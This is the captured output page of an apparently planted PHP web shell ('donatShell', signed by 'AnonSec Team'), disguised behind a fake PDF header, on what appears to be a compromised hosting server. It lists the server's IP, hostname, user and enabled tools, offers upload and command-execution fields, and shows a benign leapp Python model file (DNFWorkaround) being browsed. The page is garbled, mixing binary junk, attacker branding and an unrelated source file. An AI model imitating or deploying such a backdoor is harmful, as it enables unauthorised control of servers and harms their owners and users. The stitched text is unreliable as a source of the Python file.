%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY donat Was Here
donatShell
Server IP : 188.40.95.74  /  Your IP : 216.73.216.142
Web Server : Apache
System : Linux cp01.striminghost.net 3.10.0-1160.119.1.el7.tuxcare.els13.x86_64 #1 SMP Fri Nov 22 06:29:45 UTC 2024 x86_64
User : vlasotin ( 1054)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/leapp-repository/repositories/system_upgrade/common/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/leapp-repository/repositories/system_upgrade/common/models/dnfworkaround.py
from leapp.models import fields, Model
from leapp.topics import SystemInfoTopic


class DNFWorkaround(Model):
    """
    DNFWorkaround is used to register scripts, that have to be executed to apply modifications to the system,
    just before DNF performs a transaction in order for it to succeed.

    As an example in the case of the RHEL7 to RHEL8 upgrade, we have to execute a script to fixup the way how
    yum and dnf symlinks are created as they cannot be replaced by RPM. To solve this we have created the
    handleyumconfig tool in the system_upgrade/el7toel8 repository and register the workaround with the
    registeryumadjustment actor.
    """
    topic = SystemInfoTopic

    script_path = fields.String()
    """
    Absolute path to a bash script to execute
    """

    script_args = fields.List(fields.String(), default=[])
    """
    Arguments with which the script should be executed

    In case that an argument contains a whitespace or an escapable character,
    the argument must be already treated correctly. e.g.
        `script_args = ['-i', 'my\\ string']
    """

    display_name = fields.String()
    """
    Name to display for this script when executed
    """

Anon7 - 2022
AnonSec Team